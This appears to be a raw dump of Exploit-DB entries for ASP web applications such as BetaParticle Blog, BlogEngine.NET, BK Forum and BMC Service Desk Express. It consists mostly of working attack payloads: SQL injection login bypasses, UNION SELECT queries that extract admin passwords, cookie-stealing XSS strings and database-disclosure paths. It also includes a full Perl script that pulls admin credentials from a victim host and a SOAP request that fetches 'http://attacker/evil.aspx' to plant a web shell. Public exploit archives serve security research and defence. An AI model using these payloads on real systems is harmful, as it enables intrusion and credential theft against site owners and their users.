deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29081
Description: BestWebApp Dating Site - 'login_form.asp?msg' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-17
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21158/info
 
BestWebApp Dating Site is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.
 
An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
login_form.asp?msg=[xss here]
Exploit-DB #29080
Description: BestWebApp Dating Site Login Component - Multiple Field SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-17
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21158/info

BestWebApp Dating Site is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.

An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

username = ' or '1' = '1'
passwd = ' or '1' = '1'
Exploit-DB #25254
Description: BetaParticle blog 2.0/3.0 - 'myFiles.asp' File Manipulation
Type: webapps
Platform: asp
Date: 2005-03-21
Author: farhad koosha

Exploit:
source: https://www.securityfocus.com/bid/12861/info
  
betaparticle blog is reported prone to multiple vulnerabilities. The following individual issues are reported:
  
It is reported that betaparticle blog fails to sufficiently secure the authentication credential database. A remote attacker may exploit this vulnerability to download and disclose the contents of the credential database.
  
This issue is reported to affect betaparticle blog prior to and including version 3.0.
  
It is reported that several betaparticle blog scripts may be accessed by a remote unauthenticated attacker and may be employed to upload and delete arbitrary Web server accessible files. A remote attacker may exploit leverage these scripts to deny service for legitimate users or potentially compromise a target computer.
  
It is reported that these scripts may be leveraged on betaparticle blog versions up to and including version 3.0. 

http://www.example.com/bp/myFiles.asp
Exploit-DB #25253
Description: BetaParticle blog 2.0/3.0 - 'upload.asp' Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2005-03-21
Author: farhad koosha

Exploit:
source: https://www.securityfocus.com/bid/12861/info
 
betaparticle blog is reported prone to multiple vulnerabilities. The following individual issues are reported:
 
It is reported that betaparticle blog fails to sufficiently secure the authentication credential database. A remote attacker may exploit this vulnerability to download and disclose the contents of the credential database.
 
This issue is reported to affect betaparticle blog prior to and including version 3.0.
 
It is reported that several betaparticle blog scripts may be accessed by a remote unauthenticated attacker and may be employed to upload and delete arbitrary Web server accessible files. A remote attacker may exploit leverage these scripts to deny service for legitimate users or potentially compromise a target computer.
 
It is reported that these scripts may be leveraged on betaparticle blog versions up to and including version 3.0. 

http://www.example.com/bp/upload.asp
Exploit-DB #25252
Description: BetaParticle blog 2.0/3.0 - dbBlogMX.mdb Direct Request Database Disclosure
Type: webapps
Platform: asp
Date: 2005-03-21
Author: farhad koosha

Exploit:
source: https://www.securityfocus.com/bid/12861/info

betaparticle blog is reported prone to multiple vulnerabilities. The following individual issues are reported:

It is reported that betaparticle blog fails to sufficiently secure the authentication credential database. A remote attacker may exploit this vulnerability to download and disclose the contents of the credential database.

This issue is reported to affect betaparticle blog prior to and including version 3.0.

It is reported that several betaparticle blog scripts may be accessed by a remote unauthenticated attacker and may be employed to upload and delete arbitrary Web server accessible files. A remote attacker may exploit leverage these scripts to deny service for legitimate users or potentially compromise a target computer.

It is reported that these scripts may be leveraged on betaparticle blog versions up to and including version 3.0. 

http://www.example.com/bp/database/dbBlogMX.mdb
Exploit-DB #1589
Description: BetaParticle Blog 6.0 - 'fldGalleryID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-03-18
Author: nukedx

Exploit:
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=20
#Usage: beta.pl <host> <path>
#googledork: [ "Powered by bp blog" ] 9.710 pages..
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-20\r\n";
  print "- BetaParticle Blog <= 6.0 Remote SQL Injection Vulnerability\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to BetaParticle ex: /blog\r\n";
  exit();
}
sub exploit () {
  #Our variables...
  $bpserver = $ARGV[0];
  $bpserver =~ s/(http:\/\/)//eg;
  $bphost   = "http://".$bpserver;
  $bpdir    = $ARGV[1];
  $bpport   = "80";
  $bptar    = "template_gallery_detail.asp?fldGalleryID=";
  $bpfinal  = "main.asp";
  $bpxp     = "-1+UNION+SELECT+null,fldAuthorUsername,fldAuthorPassword,null,null+FROM+tblAuthor+where+fldAuthorId=1";
  $bpreq    = $bphost.$bpdir.$bptar.$bpxp;
  #Sending data...
  header();
  print "- Trying to connect: $bpserver\r\n";
  $bp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$bpserver", PeerPort => "$bpport") || die "- Connection failed...\n";
  print $bp "GET $bpreq HTTP/1.1\n";
  print $bp "Accept: */*\n";
  print $bp "Referer: $bphost\n";
  print $bp "Accept-Language: tr\n";
  print $bp "User-Agent: NukeZilla 4.3\n";
  print $bp "Cache-Control: no-cache\n";
  print $bp "Host: $bpserver\n";
  print $bp "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$bp>) {
    if ($answer =~ /<h3>(.*?)<\/h3>/) {
      print "- Exploit succeed! Getting admin's information\r\n";
      print "- Username: $1\r\n";
    }
    if ($answer =~ /<p>(.*?)<\/p>/) {
      print "- Password: $1\r\n";
      print "- Lets go $bphost$bpdir$bpfinal for admin login.\r\n";
      exit();
    }
    if ($answer =~ /number of columns/) { 
      print "- This version of BetaParticle is vulnerable too\r\n";
      print "- but default query of SQL-Inj. does not work on it\r\n";
      print "- So please edit query by manually adding null data..\r\n";
      exit(); 
    }
  }
  print "- Exploit failed\n"
}

# milw0rm.com [2006-03-18]
Exploit-DB #11555
Description: bispage - Bypass
Type: webapps
Platform: asp
Date: 2010-02-23
Author: SaMir-BonD

Exploit:
# Exploit Title: [ bispage Bypass Vulnerability]
# Author: [SaMir-BonD] EGY@hotmail.com
# Organization : TEAM-DZ
# Formal sites : t00ls.org - h4kz.com
# Software Link: [N/A]
# Script's Language: [ASP]
# Tested on: [Windows PHP/4.3.11  os]
# Dork :"Developed by Bispage.com"
# CVE : [if exists]
# Code : [exploit code]
# Site page : bispage.com
# Date: [23-2-2010]






*Hey dudes how are you doin' :D
*it's an easy bypass Vuln just see those steps :
________________________________________________
1) Victim.com/script/admin
2) User Between Brackets : (' or 'a'='a)
   Pass Between Brackets : (' or 'a'='a)
3) Enjoy Uploading Shells :D ( upload ASP shell types to be able to read/modify/download Files)


#Greetz to:
-----------
 [TEAM-DZ: maxi32-noureddin-Skins-TheMoorish-Dr.Genius-IslamLee-M4st3r]
HcJ-Mr.Mero-Laqi@hajdin-Sh3ko-EGY-MaF!4-Trackoda-Dr.Mozo-TNT_HACKER-Elkatrez-DataFr4ck3r
& all those who know Samir-BonD(oXide)

---> h4kz.com & t00ls.org


Note : La Elah Ella ALLAH .. Muhammad Rasool ALLAH..
Exploit-DB #1714
Description: BK Forum 4.0 - 'member.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-04-24
Author: n0m3rcy

Exploit:
# BK Forum <= 4.0 Remote SQL Injection
# by n0m3rcy
# Copyright (c) 2006 n0m3rcy <n0m3rcy@bsdmail.org>
# Exploit:

First you must be logged in
Then type this in your browser

http://www.site.com/path/member.asp?id=-1%20UNION%20SELECT%201,memName,3,4,5,6,7,8,9,10,11,memPassword,13,14,15,16%20FROM%20member+where+memID=1

You will find admin's password

# Shoutz:
nukedx , nukedx , nukedx :) , cijfer , str0ke , Devil-00

# Have phun!

# milw0rm.com [2006-04-24]
Exploit-DB #28385
Description: BlaBla 4U - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-08-14
Author: Vampire

Exploit:
source: https://www.securityfocus.com/bid/19513/info

Multiple cross-site scripting vulnerabilities affect BlaBla 4U because the application fails to properly sanitize user-supplied input before including it in dynamically generated web content. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/trial.asp?product=[XSS]
http://www.example.com/[patch]/ForumsII.asp?ForumID=[XSS]
Exploit-DB #25505
Description: Black Knight Forum 4.0 - 'forum.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-23
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13328/info

Black Knight Forum is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input prior to utilizing the data in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/forum.asp?forum=[SQL]
Exploit-DB #25504
Description: Black Knight Forum 4.0 - 'Member.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-23
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13327/info

Black Knight Forum is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input prior to utilizing the data in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/member.asp?id=[SQL]
Exploit-DB #32736
Description: Blog Manager - 'categoryId' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2009-01-16
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/33314/info
 
DMXReady Blog Manager is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/[Path]/inc_webblogmanager.asp?CategoryID=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&ItemID=1&action=refer
Exploit-DB #32735
Description: Blog Manager - 'ItemID' SQL Injection
Type: webapps
Platform: asp
Date: 2009-01-16
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/33314/info

DMXReady Blog Manager is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/[Path]/inc_webblogmanager.asp?CategoryID=121&ItemID=[SQL]&action=view
Exploit-DB #32874
Description: BlogEngine.NET 1.4 - 'search.aspx' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2009-04-01
Author: sk

Exploit:
source: https://www.securityfocus.com/bid/34227/info

BlogEngine.NET is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

BlogEngine.NET 1.4 is vulnerable; other versions may also be affected.

http://www.example.com/blog/search.aspx?q="><script>alert(&#039;ImBeded%20JS&#039;)</script>
Exploit-DB #35168
Description: BlogEngine.NET 1.6 - Directory Traversal / Information Disclosure
Type: webapps
Platform: asp
Date: 2011-01-05
Author: Deniz Cevik

Exploit:
source: https://www.securityfocus.com/bid/45681/info

BlogEngine.NET is prone to a directory-traversal vulnerability and an information-disclosure vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting the issues may allow an attacker to obtain sensitive information and upload arbitrary files to the webserver that could aid in further attacks.

BlogEngine.NET 1.6 is vulnerable. 

The following example SOAP requests are available:

1. <GetFile xmlns="http://dotnetblogengine.net/">
<source>c:\Windows\win.ini</source>
<destination>string</destination>
</GetFile>

2. <GetFile xmlns="http://dotnetblogengine.net/">
<source>c:\webroot\blog\App_Data\users.xml</source>
<destination>../../aa.txt</destination>
</GetFile>

3. <GetFile xmlns="http://dotnetblogengine.net/">
<source>http://attacker/evil.aspx</source>
<destination>/../../cmd.aspx</destination>
</GetFile>
Exploit-DB #3914
Description: BlogMe 3.0 - 'archshow.asp?var' SQL Injection
Type: webapps
Platform: asp
Date: 2007-05-13
Author: gsy

Exploit:
Discoveredby:gsy&kerem125

Website:www.kerem125.com

ScriptDownload:http://www.drumster.net/gamma/products.asp (must buy)


exploit:/blogme/archshow.asp?var=-99%20Union+all+select+0,1,2,3,4,username,password,7,8,9,10,0+from+admin


contact:by_gsy@hotmail.com&kerem125@kerem125.com
Specialthxto:by_emr3,ercu_145,bolivar,voltigore,f10

# milw0rm.com [2007-05-13]
Exploit-DB #2781
Description: blogme 3.0 - Cross-Site Scripting / Authentication Bypass
Type: webapps
Platform: asp
Date: 2006-11-14
Author: Security Access Point

Exploit:
blogme v3 [admin login bypass & xss (post)]
vendor site:http://www.drumster.net/
product:blogme v3
bug:login bypass & xss (post)
risk:high


admin login bypass :
user : ' or '1' = '1
passwd:  1'='1' ro '

xss post :
in: /comments.asp?blog=85  
vulnerables fields:
- Name 
- URL
- Comments


laurent gaffié & benjamin mossé
http://s-a-p.ca/
contact: saps.audit@gmail.com

# milw0rm.com [2006-11-14]
Exploit-DB #32833
Description: Blogsa 1.0 - 'Widgets.aspx' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2009-03-02
Author: DJR

Exploit:
source: https://www.securityfocus.com/bid/33957/info

Blogsa is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Blogsa 1.0 Beta 3 is vulnerable; other versions may also be affected.

http://www.example.com/Widgets.aspx?w=Search&p=do&searchText=<script>alert(document.cookie)</script>
Exploit-DB #10883
Description: BlogWorx 1.0 Blog - Database Disclosure
Type: webapps
Platform: asp
Date: 2010-01-01
Author: LionTurk

Exploit:
==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [»] ~ Note : Mutlu Yillar Millettt

==============================================================================  

        [»] BlogWorx Blog Database Disclosure Vulnerability  

==============================================================================  

   

    [»] Script:             [ BlogWorx Blog ]  

    [»] Language:           [ ASP ]  

    [»] Download:           [ http://devworx.somee.com/] 

    [»] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com }

    [»] My Home:            [ RevengeHack.com ]  

    [»]N0T3    :             Yeni Aciklarimi Bekleyin.


###########################################################################  

   

===[ Exploit And Dork  ]===  

   

  [»] http://server/db/users.mdb Or db/teadmin.mdb
                                      


  [»] © 2008 devworx - devworx.somee.com

  




Author:  LionTurk <-  

Bizim Asiret: eXceptioN,CodeInside,CristaL1o,Hack3ra,eXtReMe,By_HKC,TerrorZveng

                 

- Turk'uz Varmi Otesi?

###########################################################################
Exploit-DB #26806
Description: BMC Service Desk Express 10.2.1.95 - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2013-07-13
Author: Nuri Fattah

Exploit:
Classification: NON SENSITIVE INFORMATION RELEASABLE TO THE PUBLIC

Multiple vulnerabilities in BMC SERVICE DESK EXPRESS (SDE) Version
10.2.1.95
 
Affected Product:
BMC SERVICE DESK EXPRESS (SDE) Version 10.2.1.95

Timeline:
07 June 2013      - Vulnerability found
12 June 2013      - Vendor informed
17 June 2013      - Vendor replied/confirmed & opened service ticket
 
Credits:
Nuri Fattah   of NATO / NCIRC (www.ncirc.nato.int)
 
CVE: To be assigned
 
NCIRC ID: NCIRC-2013127-02
 
Description:
Multiple vulnerabilities, including Cross-Site Scripting(XSS) and SQL
injection were identified in the latest version of BMC SERVICE DESK
EXPRESS
 
Vulnerability Details:

1. SQL injection
a. /SDE/DashBoardGUI.aspx 
vuln parameter: [ASPSESSIONIDASSRATTQ cookie]

b. /SDE/DashBoardGUI.aspx 
vuln parameter: [TABLE_WIDGET_1 cookie]
c. /SDE/DashBoardGUI.aspx 
vuln parameter: [TABLE_WIDGET_2 cookie]
d. SDE/DashBoardGUI.aspx 
vuln parameter: [browserDateTimeInfo cookie]
e. /SDE/DashBoardGUI.aspx 
vuln parameter: [browserNumberInfo cookie]
f. /SDE/login.aspx 
vuln parameter: [UID]
 
2. Reflected XSS
a. /SDE/QV_admin.aspx 
vuln parameter: [SelTab]
b. /SDE/QV_grid.aspx 
vuln parameter: [CallBack]
c. /SDE/commonhelp.aspx 
vuln parameter: [HelpPage]

example:
GET
/SDE/QV_grid.aspx?QuerySeq=1068&CondVal=1%40V1%40ADMINISTRATION%401&Call
Back=parent.parent.frames.TmInputs.callBack(doGridDataCallBack.arguments
[0]);</script><script>alert(99817)</script>&ViewType=g&bRefresh=
HTTP/1.1
 
Solution:
No Solution has yet been provided.
Please contact the vendor.
Exploit-DB #13995
Description: Boat Classifieds - 'printdetail.asp?Id' SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-23
Author: CoBRa_21

Exploit:
##################################################################################################

Boat Classifieds SQL Injection Vulnerability (printdetail.asp?Id)
 
##################################################################################################
 
Author : CoBRa_21

Script Home : http://www.site2nite.com/boat-webdesign.asp

Dork : null

##################################################################################################
 
Sql Injection:

http://localhost/[path]/printdetail.asp?Id=661 and 1=1 

http://localhost/[path]/printdetail.asp?Id=661 and 1=2 

################################################################################################## 		 	   		  
_________________________________________________________________
Yeni Windows 7: Size en uygun bilgisayar? bulun. Daha fazla bilgi edinin.
http://windows.microsoft.com/shop
Exploit-DB #13990
Description: Boat Classifieds - SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-22
Author: Sangteamtham

Exploit:
Boat Classifieds

####################################################
# Category: Boat Classifieds SQL Injection Vulnerability
# Download: http://www.site2nite.com/boat-webdesign.asp
# Author: Sangteamtham [at] hcegroup[dot]net
# Homepage: HCE group.net
####################################################


Exploit:

http://server/detail.asp?ID=999999 union select
1,2,3,4,5,username,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74
from tbllogin " having 1=1--

sangteamtham [at] hcegroup.net

Discovered on Fri, Jul 17, 2009